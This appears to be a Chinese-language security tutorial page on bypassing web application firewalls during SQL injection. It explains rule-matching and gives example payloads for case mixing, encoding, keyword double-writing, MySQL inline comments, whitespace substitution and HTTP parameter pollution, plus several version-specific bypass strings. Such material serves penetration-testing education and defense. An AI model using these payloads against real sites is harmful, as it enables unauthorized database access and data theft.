章节5:SQL注入之WAF绕过

章节5:SQL注入之WAF绕过

5.1 SQL注入之WAF绕过上

章节5:SQL注入之WAF绕过_第1张图片

WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。

章节5:SQL注入之WAF绕过_第2张图片

章节5:SQL注入之WAF绕过_第3张图片

章节5:SQL注入之WAF绕过_第4张图片

5.2 SQL注入之WAF绕过下

(原理简单了解)

关键词大小写绕过

有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过

举例: union select ---> unIOn SeLEcT

编码绕过

针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.

1举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23

双写绕过

部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。

举例:UNIunionON ,SELselectECT anandd

换行(\N)绕过

举例:select * from admin where username = \N union select 1,user() from admin

注释符内联注释绕过

union select =/*!union*/ select

注释符里感叹号后面的内容会被mysql执行。

同义词替换

and=&&

or=||

=(等于号)=<、>

空格不能使用=%09(horizontal tab),%0a(line feed),%0b(vertical tab),%0c(form feed),%0d(carriage return),%20,%a0等

注:%0a是换行也可以替代空格

HTTP参污染

对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。

举例:?id=1&id=2&id=3
?id=1/*!&id=-1%20union%20select%201,2,3%23*/

章节5:SQL注入之WAF绕过_第5张图片

WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能性

order by绕过:%20/*//--/*/  V4.0
联合绕过:union /*!--+*/%0aselect/*!1,2,3*/ --+
from绕过:/*!06447%23%0afrom*/

你可能感兴趣的:(网络安全,SQL注入渗透与攻防)